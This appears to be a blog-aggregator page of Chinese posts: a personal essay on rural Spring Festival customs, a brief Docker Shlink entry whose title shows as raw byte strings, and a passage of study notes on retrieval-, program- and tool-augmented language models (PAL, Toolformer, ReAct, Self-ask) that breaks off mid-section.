除了常见的对联外,你还可能会见到一些短小的单联,一般会有这种几种:车库上的出入平安、禽舍上的六畜兴旺、谷仓上的五谷丰登。但是新农村的当下,这些几乎已经消失殆尽。车库上的出入平安也被很多人直接给贴在车上,让人无语的很。


春联和福字的讲究,春联的上联最后一个字是仄声,下联最后一个字是平声。上联贴右边,下联贴左边。福字倒着贴,寓意福到了。个别人家有贴门神的讲究。一般门神是秦叔宝和尉迟恭。当然也可能会有别的。


忙年歌里的民俗

忙年歌每个地方可能唱的都不一样,我依稀记得二十五磨豆腐、二十六割猪肉、二十七洗旧疾,二十八洗邋遢,二十九洗老垢,三十晚上熬一宿。小时候我们会在腊月打年糕、杀年猪、磨豆腐、打塘鱼。这些如今都被一个字“买”取代。年糕曾经一打就是二三百斤,如今只买一二十斤,豆腐原来都是自己磨自己做,如今别说自己做豆腐了,就是做豆腐的个体户那都没了,爸妈买了一盆豆腐,搁从前那不得做一大桶啊。杀年猪更是少见,小时候一条养了一年的肥猪,年末宰了欢喜过大年,如今猪肉也只是买个二三十斤,腌制腊肉开春做江南经典菜肴腌笃鲜。打塘鱼就是将鱼塘抽干抓鱼,我们小村上的鱼塘一般是两三户合一个鱼塘,所以打上来的塘鱼也是两三家分,如今也是非常难得见到乡邻打一次塘鱼了。


除了年糕、豆腐、猪肉,还有必要的两道年菜需要提前准备,一个是炸圆子,一个是春卷。炸圆子最常见的是水淀粉搓的汤圆,包豆沙或者芝麻糖馅的,然后油炸。对比超市能买到的速冻汤圆,我们是现做的,并且个头要远比速冻汤圆来的大。这个汤圆需要下油锅油炸,油炸汤圆可是个技术活,因为火候控制不好,极有可能炸汤圆变炸炸弹,砰砰砰的可带劲了。炸圆子刚出锅的时候吃一两个可口,当成菜的时候上锅蒸,软趴趴糯叽叽的,吃一两次还是不错的,架不住正月走亲戚一直吃,正如今年的热搜,那些过年吃出来的童年噩梦。除了炸圆子一般人家也会准备第二种肉圆子,简单点的就是红烧狮子头那种肉圆,还有一种在肉圆子外面裹一层糯米蒸熟的糯米肉圆子。

2.jpg


春卷就是春卷皮裹馅,一般在我们乡下多是腌雪里蕻馅的,也有腌白菜馅的,还有荠菜馅的,但是像魔都常见的三丝春卷在我们那就非常少见了。春卷小时候包的时候会两端封口,就和超市买的那种一样,不知道从何时开始,现在包的春卷已经不封口了,直接下锅炸,炸脆即可。要上菜的时候复炸一遍即可,相对来说春卷似乎比炸圆子更受欢迎一些,起码我是这么认为的。小时候我记得我妈还会做炸酥肉和炸酥鱼,但是很多年不见了,亲戚家也不见了这两道菜,大概是被“移风易俗”了吧,毕竟在物质更加丰盈的现在,鱼、肉都能现买新鲜的,谁还要吃那存了好几天的油炸货呢?


腊月最后几天,基本都是打扫除尘的日子,谐音除陈,陈为旧,除旧迎新之意。房子里里外外,家具上上下下都打扫一遍。毛主席说打扫房子和洗脸,所以搞完“硬件”,还得搞“软件”,一般我们会在腊月二十七、二十八或二十九洗头洗澡,洗好后,年前就不洗澡了。小时候我们会洗个汤浴,就是一口超大的铁锅,一边烧水一边洗澡,可舒服了。如今我们乡下基本都是太阳能+电热水器组合取代了,所以洗个热水澡也不用大费周章,变成唾手可得的事,这习俗差不多也快没人遵循了。


大年三十忙一顿

到了三十这一天,得早早起床,因为有很多事情需要做,基本上老母亲就会从早上开始准备年夜饭了,我和老父亲会在早上贴好春联,挂好灯笼。然后出发去坟山上请祖宗了。到了坟山上烧些纸钱元宝阴钞之类的,讲究点的还有个三真碗(zhen,具体什么字无从考究,内容一般是鸡肉、鱼肉、猪肉,带上一瓶酒),再烧上一柱香,放个炮仗,磕个头接老祖宗回家过年。因为亲戚多,所以接老祖宗这事,大家都卷起来看谁第一个去。因为一早就有人在坟山放爆竹,所以从大年三十这天早上开始爆竹声就不断了,一直会持续到初二中午。


年夜饭并一定是大年三十晚上那顿,也有可能是中午。至于为什么是中午,也很简单,分两种情况,第一种比较特殊,就是在一年中有至亲过世的,一般中午过年。另外一种情况非约定习俗了,看各家情况了。一般都是家里只有女儿,女儿女婿中午回来过年,晚上回婆家过年,但是这些年也有新变化,一是两头婚的那种有可能中午会在男方家过年,晚上在女方家过年。所谓两头婚,就是不娶不嫁,通常会出现在两方都是独生子女的情况,在湖州两头婚的如今很多见。两头婚的婚生子女一般会生两个,一个随男方姓,一个随女方姓。还有一种情况就是家中有兄妹或姐弟两人的,为了凑一起,就会变成女方会提前在男方家过年,然后晚上回娘家与兄或弟一起过年。


在年夜饭上桌前,我们还有几件事情需要做,首先是祭灶王、祭门神、祭土地。祭祀通常会在灶台边、门边、及大门外空地烧纸钱和香烛。祭完他们接着祭祖宗,在堂屋供桌上点烛敬香,然后就是祭祖,上专门祭祀的菜肴,鸡鸭鱼肉必有,然后桌子上会放上杯盏,一杯倒酒一杯倒茶,碗筷齐备,恭恭敬敬的请老祖宗用膳。途中会多次添酒添茶,一般三轮以后就祭祀完结。会重新上年夜饭。在上菜的同时,我们会放炮和鞭。鞭炮齐鸣过后就是围坐一桌吃年夜饭。年夜饭的菜肴一般为双数,寓意好事成双。菜品各家有各家的习惯,但是我前面说的几道菜是基本是必有的。再加上鸡、鸭、鱼、牛、羊肉、茶叶蛋等。小时候年夜饭那顿米饭是用饭甑蒸的,如今饭甑都很少见了,都被电饭锅取代了。饭甑偶有在别人家酒席上见过。在年夜饭上,一般长辈会给晚辈压岁红包,一般是给未满16岁的晚辈,无论是子女还是孙子孙女外孙外孙女。


吃完年夜饭,就是孩子最欢乐时刻,燃放烟花,绚烂多姿的烟花祈求来年生活多姿多彩。放完烟花,小时候基本上就围着火炉守岁,守岁的必然节目当然是央视春晚。现在春晚一年不如一年,早已没什么人看了,人们要么去牌桌上小赌怡情,要么就是短视频不离手,刷到困意袭来倒头就睡。如今守岁一夜无眠的人已经很少了,即便牌桌上的后半夜也散场了。


放完烟花,如果信佛的话,可以赶在初一到来之前抢个头香,带上香烛纸钱,到了寺庙先点烛、烧了纸钱,就请柱香恭恭敬敬的拜上一拜。暗暗许上一许,求财的财神殿多拜拜,求子的观音殿多拜拜,求学的文昌殿多拜拜,至于有没有效果么,心诚则灵。


三十晚上,供桌上的香烛不断,蜡烛一夜烧天亮基本没问题,但是香需要一直续,但是后半夜,那就哈哈了吧,除了香烛不灭以外,在我们那三十晚上大门是不关的,院子门肯定是敞开的。现在大多数大门都是掩着不锁,小时候都是敞开的。另外堂屋的灯和大门外的灯及灯笼的灯都是通宵点亮的。


正月拜大年

初一早上起来,我们家有个小习惯,就是去柴房抱一摞柴火到厨房,寓意发财。初一早上一般情况下我们会吃面条,寓意调调顺顺,也有吃年糕的,寓意年年高升。也有吃饺子的,这饺子毕竟是北方“外来”文化,没啥讲究,毕竟北方人还会在一堆饺子里面藏一个硬币看谁吃到。我们吃饺子那就真就是饺子。


吃完早饭该去拜年了,一般顺序是父亲这头的兄弟姐妹,伯伯叔叔姑姑。我父亲这辈人,通常兄弟姐妹起码四五个以上,所以初一这天挨家跑,喝茶嗑瓜子尬聊一个少不了。


初二是回娘家的日子。结婚后初二都会带着孩子跟着老婆回娘家拜年,初一是万万不能回娘家的,轻则白眼重则挨骂。然后娘家那边亲戚挨个走一遍,带着礼品叔伯姑舅姨挨家跑,喝茶嗑瓜子尬聊一个少不了。当然娘家拜年一般是不带东西的,因为会在年前按照“看节”的礼仪带到了,无非是烟酒营养品、服装鞋帽和红包。


初三再去给姑父娘舅姨妈拜年,一样的礼仪一样的节奏。现如今出行如此简单方便,很多时候初一这一天就把亲戚跑个遍,初二娘家那头跑个遍,初三就出门旅游了,这几年正月出门旅游的情况在农村也越发多见,算是一门新年俗了。


初四是迎灶王的日子,灶王爷小年夜回天庭述职,到初四就该回来了,印象中我们没有非常特别的民俗,很稀松平常,偶有个别人家会放个爆竹。到初五是迎财神的日子,所以初五凌晨的爆竹声明显比初四来的更加热闹。初五除了迎财神,更重要的是破五,所谓破五就是初五以后很多禁忌就解除了,小时候我记得初五前不动刀杀生,不动剪缝补,不洗澡更衣,不洗衣淘换。就像前面说的随着生活水平的日益提高,这些都简化了,很多禁忌也就维持初一这一天了。


初六就是假期尾声了,用我们的说法就是三六九往外走,如果要出门,逢三逢六逢九的日子适合出门。所以外出返程工作选择初六就比较合适了。


那些特殊的年俗

做新客。新客的意思就是去年才结婚的新人,在来年正月要双双携手走两头的亲戚拜年。新客来,主家需要放爆竹迎接,新客走时会包个红包。一般新客会是贵宾,正月走亲串友的比较多,少不了吃饭,所以一般有新客在的,就会随新客在主家吃饭作陪。


做新灵(烧清香)。前面有提到至亲过世的时候,贴春年的习俗。那么在初一的早上亲朋好友就会到这家做新灵(安庆话),或者烧清香(河南话)。做新灵的时候一般只带一个爆竹,到主家门口去放一下。主家会提供早饭,吃完早饭就回了,过几天主家回带礼品来“还年”。


办寿宴。正月也是办寿宴的最佳时间,在我们当地做寿一般是做六和做九,比如孩子成年礼是十六岁,中年礼是三十六岁,老年寿礼从五十九、六十九、七十九、八十九、九十九、一百岁这样。无论生日是一年中的哪一天,做寿一般都赶在正月的某一天进行,就是所谓的抢生过。如果正月确实没排开,那就放在生日当天做寿,这毕竟是少数。前面也提到给孩子包红包,当孩子到十六岁再来拜年,就不再包红包了。三十六岁是人到中年的标志,三十六岁的当年正月初一,要吃白鸡(白色羽毛的公鸡)、穿白衣(白色内衣/衬衣)、串白门(不出门)。然后就是选正月某一天(一般生日是初级就选正月初几,也有请算命先生算日子的)办个寿宴。五十九就是为了六十大寿,如果办了五十九,那六十九的时候就不办了,大多人是办六十九,五十九不办,因为太年轻了。过了六十九,七十九就不办了,后面八十九、九十九、一百一般各家看情况,因为比较少,印象中我也没碰上过几次。如今为了避免麻烦大家,很多九都没人办了,也算是移风易俗了。


三十不打娃,初一不骂狗。孩子再皮,大年三十那天肯定是不会挨揍的。初一人家狗再凶,走亲戚也不会凶狗的。年前剃头,正月不理发。大年三十之前,都会去理发,女士要做头发的也都会弄完,正月是不会去理发的,正月理发不利舅。理发一直要到二月二龙抬头的时候才进行。


舞龙舞狮会。今年是甲辰龙年,所以今年舞龙的队伍格外多,舞龙的队伍会挨家串户,给大家带去福气,当舞龙的到了家门口需要先放爆竹,待舞龙的在院子里转过后,需要给上两包烟或者包个红包。小时候记得更多的则是舞狮的。会进到家门跳到凳子上桌子上,类似于广东的醒狮。同样需要给上香烟或者红包。只是这也很多年没见了。


好了,年俗大概依稀记得这些,主要是为了介绍给孩子,有些能带她参与的就参与了,那些“消失”的年俗或许将来还会重现。


by 西枫里 at February 25, 2024 12:09 PM

usb

b'Docker \xe5\xae\x89\xe8\xa3\x85 Shlink \xe8\x87\xaa\xe5\xbb\xba\xe7\x9f\xad\xe7\xbd\x91\xe5\x9d\x80'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe6\x8c\x87\xe5\xaf\xbc\xe4\xbd\xbf\xe7\x94\xa8 Docker \xe5\xae\x89\xe8\xa3\x85 Shlink \xe6\x90\xad\xe5\xbb\xba\xe8\x87\xaa\xe5\xbb\xba\xe7\x9f\xad\xe7\xbd\x91\xe5\x9d\x80\xe6\x9c\x8d\xe5\x8a\xa1\xe3\x80\x82'

by Showfom at February 25, 2024 06:00 AM

February 24, 2024

aneasystone

提示工程学习笔记(二)

上一篇笔记 中,我们学习了很多提示工程相关的技术,比如思维链(CoT)和最小到最多提示(Least-to-Most Prompting)等,显著改善了大模型的推理能力。尽管如此,我们常常还是会看到这样的现象:大模型可以准确地生成解决问题的逻辑步骤,但最终结果仍然不正确,通常这个结果是由于非常简单的错误引起的,比如数值计算错误、无法理解私有知识等。因此研究人员又提出很多想法希望对语言模型进行增强,最常见的思路有:检索增强、编程增强和工具增强,这样的语言模型被称为 增强语言模型(Augmented Language Models)

检索增强

在处理 知识密集型(knowledge-intensive) 任务时,语言模型往往会出现 幻觉(hallucination) 现象,检索增强生成(Retrieval Augmented Generation,RAG) 是一种常见的解决幻觉的技术,它将信息检索技术和文本生成模型结合在一起,通过检索外部知识源,增强答案的可靠程度。

一个典型的 RAG 包含两个主要的部分:

  • 索引构建:首先准备和加载数据,将数据划分成小的数据块,然后对每个小数据块做向量表征存储,方便后续做语义检索;
  • 检索和生成:基于用户输入的问题,尽可能地检索出最相关的数据块,将检索出的数据块作为上下文和用户问题一起组合成 prompt 让大模型生成回答。

RAG 让语言模型不用重新训练就能够获取最新的信息,基于检索出的文档来回答用户问题,不仅提高了答案的可靠性,而且可以给出答案的引用来源,提高了模型的可解释性。

我们也可以省去构建检索系统这一步,直接使用一些现成的搜索引擎,比如 Google、Bing、维基百科等,OpenAI 提出的 WebGPT 和 DeepMind 团队提出的 Internet 增强语言模型 是两个比较典型的示例。

WebGPT 是一个基于 GPT-3 的微调模型,它可以搜索和浏览网页,并且通过人工反馈来优化回答问题的效果:

webgpt.png

相对的,Internet 增强语言模型不需要微调,通过少样本提示,就可以让模型从互联网上检索信息。给定一个问题,从 Google 返回的 20 个 URL 中提取出干净的文本,从而得到一组文档,由于这些文档很长,论文将每个文档切分成一个个段落,每个段落包含 6 个句子,然后通过 TF-IDF 余弦相关性算法,计算段落与用户输入的相似性,选取最相关的段落加入到提示词中,输入给大模型获取答案。

internet-agumented-llm.png

下面是一些关于 RAG 的论文:

编程增强

正如前文所述,结合一些提示技术,语言模型能够准确地给出解决问题的推理步骤,但是,生成正确的推理步骤并不意味着它能正确的解决问题!推理过程中一个小小的算术错误都将导致最终结果的错误,这种错误通常被称为语言模型的 组合性差距(Compositionality Gap),而且这个差距不会随着模型的增大和复杂度的增加而减小。

导致这个现象的根本原因是语言模型不擅长计算,如果能将计算从推理中解耦就好了,让语言模型只负责推理,将计算任务交给专门的计算模块,为了实现这一点,研究人员引入了代码模型来解决这个问题。

首先我们让代码模型产生解决问题的推理步骤,注意不需要模型产生实际的答案,而是生成与推理步骤对应的程序,这段程序是代码和自然语言的混合体(可以理解为带有注释的 Python 脚本),然后使用外部的代码解释器执行程序,从而生成最终的正确答案。这就是编程增强技术的基本思路。

程序辅助语言模型(PAL)

受 CoT 提示技术的启发,Luyu Gao 等人于 2022 年 11 月发表论文 PAL: Program-aided Language Models,提出了一种 程序辅助语言模型(Program-aided Language Model, PAL),这种模型将问题分解为解决问题的推理步骤,每一步包含自然语言和 Python 代码,在生成这样的混合步骤后,我们可以通过 Python 解释器来执行代码,从而解决问题。

使用 PAL,我们只需要 LLM 生成解决问题的推理步骤,而无需生成结果,这种方法可以显著减小上文中提到的组合性差距。我们可以提供几个将问题分解为混合步骤的示例,通过少样本学习来生成这样的混合步骤。PAL 与 CoT 提示非常相似,它们之间的主要区别在于,PAL 中的提示是由交错的自然语言和程序代码组成,见下图:

pal.png

PAL 与 CoT 提示的另一个区别是,PAL 使用的少样本示例中不包含最终结果,最终解决方案是由 Python 解释器生成的。

使用 PAL 推理过程中的每一步都通过编程语句进行增强,作者建议使用 Python 注释语法(即 # 字符)来生成基于自然语言的中间步骤,这使得基于语言的组件能够插入到生成的程序中。另外,作者观察到,为代码中的变量提供有意义的名称是有益的。

论文作者还给出了 PAL 的数据集和代码,有兴趣的可以 研究一下

思维程序提示(PoT)

几乎在同一时间,Wenhu Chen 等人发表了论文 Program of Thoughts Prompting: Disentangling Computation from Reasoning for Numerical Reasoning Tasks,提出了 思维程序提示(PoT) 技术,它和 PAL 非常相似。论文的作者同样意识到,尽管大模型擅长复杂的推理,但是却往往在简单的算术计算上栽跟头,从而导致回答错误,通过引入代码增强提示方法可以改善这个问题,使得大模型能够准确地解决复杂的数值任务。

和 PAL 一样,PoT 也是利用 LLM 来生成包含自然语言语句和 Python 代码的混合逻辑步骤,然后,将代码部分放到 Python 解释器中执行,从而实现推理和计算的解耦:

pot.png

从上图中可以看到,CoT 提示无法解决斐波那契数列这种迭代问题,也求解不了简单的三次方程,PoT 通过程序就可以轻松解决这些问题!

PoT 也分为 少样本 PoT(Few-shot PoT)零样本 PoT(Few-shot PoT) 两种,而且作者发现,零样本 PoT 提示也可以达到很好的效果:

pot-few-zero.png

工具增强

检索增强扩展了模型获取信息的能力,编程增强扩展了模型解决问题的能力,如果抽象来看,他们实际上都是外部工具的调用,让模型负责推理,推理之外的事通过调用外部工具来实现。在 大模型应用开发框架 LangChain 学习笔记(二) 中,我们学习了 OpenAI 的插件机制和 Function Calling 功能,这些其实都是通过外部工具实现的。

关于工具增强,目前已经有不少的论文对此进行了研究,比如上文提到的 Internet-Augmented Language Models 将搜索引擎作为工具,PAL 和 PoT 将 Python 解释器作为工具,我们还可以将浏览器、计算器、QA 系统、翻译系统等等作为工具,比如 LaMDABlenderBot 3WebGPT 等,不过这些方法要么是依赖于大量的人类监督,要么是事先通过少样本提示确定好什么任务中要使用什么工具,使用起来都不够灵活。相比之下,TALM 和 Toolformer 通过 自我监督(self-supervised) 机制,使语言模型能够学习如何以及何时使用工具,而不需要编写任务和工具的示例。

TALM

2022 年 5 月,Aaron Parisi 等人发表论文 TALM: Tool Augmented Language Models,提出了 工具增强语言模型 的概念,算得上是工具增强技术的鼻祖了。TALM 和传统语言模型的区别在于,它会引导模型输出要调用的工具以及工具的参数,然后将工具调用的结果输入模型,得到最终的结果:

talm-vs-lm.png

具体来说,TALM 使用了一种 文本到文本的 API 调用(text-to-text API calls) 方式,首先模型根据问题输出 |tool-call 这种特殊的格式,其中 tool-call 表示所使用的工具,然后输出 tool input text,表示文本形式的工具参数,后面紧接着输出 |result 固定格式,此时停止模型的输出,开始调用外部工具,然后将调用结果追加到刚生成的文本后面,再加上 |output 送回语言模型,从而生成最终的结果。下面是使用 TALM 调用天气工具的一个示例:

talm-examples.png

此外,TALM 采用 自我对弈(self-play) 的方法来扩充工具使用示例的数据集,每次模型与工具的交互,通过一种方法判断其是否能改善模型的输出,如果有改善,就扩展到数据集中,并将其用于语言模型的微调。

Toolformer

Toolformer 是 Timo Schick 等人于论文 Toolformer: Language Models Can Teach Themselves to Use Tools 中提出的一种语言模型,和 TALM 一样,也是通过引导模型输出要调用的工具以及工具的参数,然后将工具调用的结果输入模型,最终得到期望的结果:

toolformer.png

Toolformer 支持下面 5 种不同的工具:

  • 计算器:让语言模型处理数学计算问题;
  • QA 系统:避免语言模型生成错误的内容和幻觉;
  • 搜索引擎:为语言模型提供最新的信息;
  • 翻译系统:提高低资源语言的性能;
  • 日历:让语言模型知道时间信息;

Toolformer 和 TALM 非常类似,这里就不过多赘述了,我们重点关注它的训练过程:

toolformer-train.png

  1. LM Dataset:首先我们需要有一批带有 API 调用标注的数据集,Toolformer 的方法很巧妙,它通过一段提示词和几个 API 调用示例,让语言模型自动生成这样的数据集;比如下面是生成 QA 系统 API 调用的示例:
Your task is to add calls to a Question Answering API to a piece of text. The questions should help you get
information required to complete the text. You can call the API by writing "[QA(question)]" where "question" is the
question you want to ask. Here are some examples of API calls:

Input: Joe Biden was born in Scranton, Pennsylvania.
Output: Joe Biden was born in [QA("Where was Joe Biden born?")] Scranton, [QA("In which state is Scranton?")] Pennsylvania.

Input: Coca-Cola, or Coke, is a carbonated soft drink manufactured by the Coca-Cola Company.
Output: Coca-Cola, or [QA("What other name is Coca-Cola known by?")] Coke, is a carbonated soft drink manufactured 
by [QA("Who manufactures Coca-Cola?")] the Coca-Cola Company.

Input: x
Output:
  1. Sample API Calls:将每一个 API 调用表示为一个二元组(API 的名称和相应的输入),对于同一个位置 i,我们进行多次采样,生成不同的 API 调用 ci1ci2 等;
  2. Excute API Calls:执行上面生成的每个 API 调用得到结果 ri1ri2 等;
  3. Filter API Calls:计算模型在标记上的 加权交叉熵损失(weighted cross entropy loss),只有大于阈值的 API 调用被保留,这意味着添加这个 API 调用及其结果有助于模型预测未来的标记;
  4. LM Dataset with API Calls:至此就生成了一批带有 API 调用标注的数据集,然后在这个标注好的数据集上对语言模型进行微调,从而提高模型调用工具的性能。

Toolformer 的创新之处在于,仅使用少量的人工标注样本制造大量的自监督样本,理论上可以支持任意的 API 调用,但 Toolformer 也有一些局限性,比如不支持链式工具使用(使用一个工具的输出作为另一个工具的输入)或以交互方式使用(人工选择后采用 API 响应)。

自动推理并使用工具 (ART)

TALM 和 Toolformer 都是微调方案,相比于 Prompt 方案,在复杂问题规划上效果更好,但是很显然没有开箱即用的 Prompt 方案灵活。自动推理并使用工具 (Automatic Reasoning and Tool-use, ART) 是一种简单的工具增强的提示框架,由 Bhargavi Paranjape 等人于 2023 年发表的论文 ART: Automatic multi-step reasoning and tool-use for large language models 中提出,该框架的工作原理是在接到一个新任务时,从任务库中选择多步推理和使用工具的示范,然后在测试中,每当需要调用外部工具时,就暂停生成,将工具输出整合后再继续生成:

art.png

可以看出,ART 可以引导模型进行推理,同时还可以调用外部工具进行帮助,使得模型的性能得到提升。ART 相比于 Toolformer,不仅使用上更简单,而且没有 Toolformer 的局限性,支持链式调用和人工反馈,另外,ART 还支持手动扩展,只要简单地更新任务和工具库就可以修正推理步骤中的错误或是添加新的工具。

在 BigBench 和 MMLU 基准测试中,ART 在未见任务上的表现超过了少样本提示和自动 CoT,并且配合人类反馈后,它的表现超过了手写的 CoT 提示。

作者在 GitHub 上开源了 ART 的实现代码,有兴趣的可以参考一下。

任务规划

在上一篇笔记中,我们学习了不少改善大模型推理能力的提示技术,如思维链(CoT)、思维树(ToT)、最小到最多提示(Least-to-Most Prompting)等,在这一篇笔记中,我们又继续学习如何使用工具增强让大模型的能力得到更大的提升。尽量这两方面的研究都展示了令人印象深刻的效果,但是大模型在解决一些复杂任务时还是不尽如人意。于是研究人员开始将这两点结合起来,智能体的概念也随之浮出水面。

去年 6 月 23 日,OpenAI 的应用研究主管 Lilian Weng 在她的博客上发表了一篇文章 LLM Powered Autonomous Agents,她提出 智能体 = 大模型 + 记忆 + 任务规划 + 工具使用,如下图所示:

agent-overview.png

其中,记忆可以分为 短期记忆长期记忆,将所有的上下文都视为模型的短期记忆,而外部向量存储和快速检索则视为模型的长期记忆;工具使用表示的是模型通过调用外部 API 获取模型权重中缺失的额外信息,可以参考上文中介绍的内容;任务规划对应的是大模型的推理能力,具体表现在两个方面:

  • 任务分解:可以将大任务分解为多个更小的任务,生成行动计划,从而高效地处理复杂任务;
  • 反思和改善:可以对过去的行动进行自我批评和自我反思,从错误中吸取教训并为未来的步骤进行改进,从而提高最终结果的质量。

MRKL System

2022 年 5 月,以色列 NLP 研究机构 AI21 Labs 发表了一篇论文 MRKL Systems: A modular, neuro-symbolic architecture that combines large language models, external knowledge sources and discrete reasoning,提出了 MRKL 系统的概念。MRKL 全称为 Modular Reasoning, Knowledge and Language(模块化推理、知识和语言系统),发音为英文单词 miracle(奇迹),这是一种模块化的神经符号架构,试图将现有的神经网络模型(比如大模型),和外部知识库,以及过去流行的符号专家系统结合在一起,从而来兼顾神经模型和符号推理能力。

同时他们还基于 MRKL 实现了 Jurassic-X,其前身是对标 BERT、GPT-3、PaLM 等大模型的 Jurassic-1,在引入 MRKL 系统之前,这些大模型普遍表现出不能获取实时信息、不能访问外部知识、不擅长算术推理、更新成本高等缺点,论文中给出了一些 GPT-3 回答错误(甚至离谱)的例子:

mrkl-error-examples.png

尽管存在这些缺点,但 AI21 Labs 仍然认为,大型语言模型是未来人工智能系统的重要支柱。为解决这些问题,他们提出 MRKL 解决方案,概要设计如下:

mrkl-system.png

一个 MRKL 系统由一组可扩展的模块和一个路由器组成,路由器将每个传入的自然语言输入路由到一个可以最好地响应输入的模块。这些模块被称之为 专家(experts),它们可以是:

  • 神经网络:包括通用的大型语言模型以及其他更小的、专门的语言模型;
  • 符号系统:包括数学计算器、货币转换器或对数据库的 API 调用等;

通过将符号系统和神经网络相结合,我们可以充分挖掘大型语言模型的潜力。论文中给出了一个计算器的测试用例,当被问到 123 乘以 456 等于多少? 时,MRKL 系统将其路由到计算器应用程序,并从问题中提取出算式,从而得出计算结果。此外,Jurassic-X 的这篇博客 中还介绍了很多 MRKL 的应用场景,涉及到日常生活中的各种问题,感兴趣的同学可以直接阅读原文。

当然,要完成所有这些工作还有很多细节和挑战,比如训练离散专家、平滑符号与神经网络之间的接口、在不同模块之间进行路由等等。遗憾的是,论文中并没有给出 MRKL 的训练方法和代码,只是高屋建瓴地从概念上对 MRKL 系统进行了阐述。下面介绍几种类似 MRKL 系统的实现。

ReAct

推理和行动(Reasoning and Acting,ReAct) 是 Shunyu Yao 等人在 ReAct: Synergizing Reasoning and Acting in Language Models 这篇论文中提出的一种推理框架,作者通过语言模型以交错的方式生成 推理轨迹任务特定的行动,从而在两者之间实现更大的协同效应:推理轨迹帮助模型诱导、跟踪和更新行动计划,并处理异常情况,而行动则使其能够与知识库或外部环境进行交互,以收集额外信息。

这类似于我们人类在处理复杂问题时的行为,通过推理和行动之间的紧密协同作用,使我们能够快速学习新任务并执行强大的推理和决策,即使面临不可预见的情况时,我们也能做到这一点。

react.png

下图是 ReAct 和其他提示技术的一个对比:

react-hotspot-qa.png

我们向语言模型提出一个问题:

除了苹果遥控器,还有哪些设备可以控制苹果遥控器最初设计用来交互的程序?

这个问题来自于 HotpotQA,这是一个需要复杂推理的问答数据集。可以看出无论是使用思维链提示(Reason Only)还是使用工具增强(Act-Only)得到的答案都是错的,只有将推理和行动两者结合起来,才能得到准确的答案。ReAct 首先通过推理明确下一步要做什么(Thought 1),接着执行一个动作(Act 1)发送查询请求,然后收到了一个观察(Obs 1),一直重复这个循环,直到达到结论(Act 4)。通过 ReAct 不仅得到了正常的答案,而且我们可以看到模型一步步解决问题的轨迹(task solving trajectories),具有很好的可解释性。

那么 ReAct 是如何工作的呢?其实还是通过少样本提示来实现的,ReAct 在提示中包含了少量的推理轨迹示例,推理轨迹由多个 思考-操作-观察(Thought-Action-Observation) 步骤组成,如下:

问题 科罗拉多造山带东部区域延伸到的区域的海拔范围是多少?
思考 1 我需要搜索科罗拉多造山带,找到科罗拉多造山带东段延伸的区域,然后找到该区域的海拔范围。
操作 1 搜索 [科罗拉多造山带]
观察 1 科罗拉多造山带是科罗拉多及其周边地区造山运动的一段。
思考 2 它没有提到东部地区。所以我需要查一下东部地区。
操作 2 查找 [东部地区]
观察 2 (结果 1 / 1) 东部区域延伸至高平原,称为中原造山带。
思考 3 科罗拉多造山运动的东部区域延伸到高平原。所以我需要搜索高平原,找到它的海拔范围。
操作 3 搜索 [高平原]
观察 3 高平原指的是两个截然不同的陆地区域之一。
思考 4 我需要搜索高平原(美国)
操作 4 搜索 [高平原(美国)]
观察 4 高平原是大平原的一个分区。从东到西,高平原的海拔从 1800 到 7000 英尺 (550 到 2130 米) 不等。
思考 5 高平原海拔高度从 1800 到 7000 英尺,所以答案是 1800 到 7000 英尺。
操作 5 结束 [1800 到 7000 英尺]

不同类型的任务可以使用不同的示例,比如对那些以推理为主要目标的任务,使用多个思考-操作-观察的步骤有助于任务的解决,而对于涉及许多操作步骤的决策任务来说,则较少使用思考。

论文还给出了 ReAct 在不同任务上的表现结果,在知识密集型推理任务如问答(HotpotQA)和事实验证(Fever)方面,ReAct 通过与维基百科 API 交互,克服了思维链推理中普遍存在的幻觉和错误传播问题,生成了比没有推理痕迹的基准更易解释的类人任务解决轨迹。

论文结果显示,ReAct 在 Fever 上的表现优于 CoT,而在 HotpotQA 上落后于 CoT,作者对此进行了总结:

  • ReAct 的结构性约束降低了它在制定推理步骤方面的灵活性;
  • ReAct 在很大程度上依赖于它正在检索的信息,非信息性搜索结果阻碍了模型推理,并导致难以恢复和重新形成思想;

将链式思考、自我一致性、ReAct 几种提示方法结合起来,通常优于所有其他提示方法。

另外,在两个交互式决策型任务(ALFWorldWebShop)上,只需一两个上下文示例的提示,ReAct 就实现了分别比模仿学习和强化学习方法高出 34% 和 10% 的成功率。不过要注意的是,尽管在这些类型的任务中,ReAct 的推理显露出优势,但目前基于提示的方法在这些任务上的表现与人类专家相差甚远。

ReAct 的实现代码在 GitHub 上开源了,有兴趣同学的可以尝试下。另外,LangChain 基于 ReAct 的思想实现了 Zero-shot ReAct Agent,关于它的使用方法可以参考我之前写的 大模型应用开发框架 LangChain 学习笔记

Self-ask Prompting

前面我们提到过一个概念叫 组合性差距(Compositionality Gap),它表示语言模型能够准确地给出解决问题的推理步骤,但是最终回答却是错的这种现象。这一概念最早由 Ofir Press 等人在 Measuring and Narrowing the Compositionality Gap in Language Models 这篇论文中提出的,他们指出可以通过推理来缩小组合性差距,例如引发思维链,同时他们提出了一种新的方法,即 自问自答(Self-ask),进一步改进了思维链的效果。

Self-ask 的工作原理是,模型在回答初始问题之前,明确地向自己提出后续问题并回答,直到不需要再提问为止:

self-ask.png

Self-ask 有点类似于之前学过的 最少到最多提示(Least-To-Most Prompting),将问题分解为更小的后续问题来解决。Self-ask 也依赖于少样本的思维链提示,但是不同于传统的思维链,Self-ask 在提示中不断的反问自己 Are follow up questions needed here,让模型生成后续问题,回答之后再继续反问自己,直到得到最终答案。得益于 Self-ask 的结构化提示,我们能够轻松地插入搜索引擎来回答后续问题,从而进一步提高准确性。

Self-ask 的原理很简单,实现起来也比较容易,可以参考 GitHub 上的源码。

另外,Harsh Trivedi 等人提出的 IRCoT(Interleaving Retrieval with Chain-of-Thought) 方法,将 CoT 生成步骤和信息检索步骤交错使用,和 Self-ask 非常类似。

Plan-and-Solve Prompting

对于 ReAct 和 Self-ask,工作原理基本上是一样的:给定一组工具,然后大模型根据用户的输入一步一步地选择工具来执行,每一步的结果都用于决定下一步操作,直到问题被解决。这种逐步执行的 Agent 通常被称为 Action Agent,这些 Agent 本质上使用的都是少样本的思维链提示,比较适合小型任务;如果要处理需要保持长期目标的复杂任务,使用 Action Agent 经常会出现推理跑偏的问题。

